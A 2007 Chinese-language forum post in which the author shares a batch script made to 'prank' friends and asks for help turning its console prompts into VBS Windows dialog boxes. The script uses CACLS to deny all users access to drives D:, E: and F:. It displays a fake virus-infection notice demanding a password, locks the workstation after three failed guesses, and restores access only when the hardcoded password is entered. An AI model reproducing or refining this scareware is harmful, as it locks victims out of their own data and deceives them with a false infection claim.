标题: 如何让批处理中运行VBS命令 [打印本页]

---

作者: 8j     时间: 2007-5-26 05:01    标题: 如何让批处理中运行VBS命令

:P
我批处理全是在这里刚刚学习
以前只学习了一些简单的DOS命令`
发现批处理使用很方便，也很有意思
自己做了一个整人的批处理如下：
@echo off
echo y|CACLS  d:  /c /p everyone:n
echo y|CACLS  e:  /c /p everyone:n
echo y|CACLS  f:  /c /p everyone:n
cls
echo ╔-------------------------------------------------╗
echo ┆       尊敬的用户:                               ┆
echo ┆          您已经感染了病毒程序                   ┆
echo ┆          程序将锁定您的硬盘逻辑分区             ┆
echo ┆          请输入安全密码清除!                    ┆
echo ╚-------------------------------------------------╝
title  八戒专用
prompt 行动-》
color 0d


pause

set num=0
:loop
set /p pass=请输入病毒清除密码:
if "%pass%"=="fuck" goto next
set /a num=%num% + 1
if %num%==3 goto error
goto loop

:error
%windir%\system32\rundll32.exe user32.dll,LockWorkStation
goto end

:next
echo y|CACLS  d:  /c /p everyone:f
echo y|CACLS  e:  /c /p everyone:f
echo y|CACLS  f:  /c /p everyone:f
cls
@echo off
cls
echo ╔------------------------------------------╗
echo ┆       谢谢合作!                          ┆
echo ┆            病毒清除成功!                 ┆
echo ┆                       By:八戒            ┆
echo ╚------------------------------------------╝
title  八戒专用
prompt 行动-》
color 0d


pause

:end

这个是做出来耍朋友玩的，

偶然一次在逛论坛的时候，看到别人把VBS用到批处理里面
可以把显示提示的那些全部变成WINDOWS提示框
今天又看了一些VBS的帖子，才知道原来是通过VBS```

像下面这个保存成TXT再把扩展名改为VBS
就可以看到效果：
msgbox "Hello!",,"系统提示"
Dim name

name=Inputbox("请输入你的名字:","系统提示")

Msgbox  name, , "您的名字是"



请问哪位大虾可以帮我把上面的那种提示改成WINDOWS提示框的那种
最好输入密码也变成那种的``嘿嘿```
不知道行不行````
以前有看过一个在批处理中运行完以后，出现WINDOWS提示框的那种````
当时没保存下来``现在也找不到了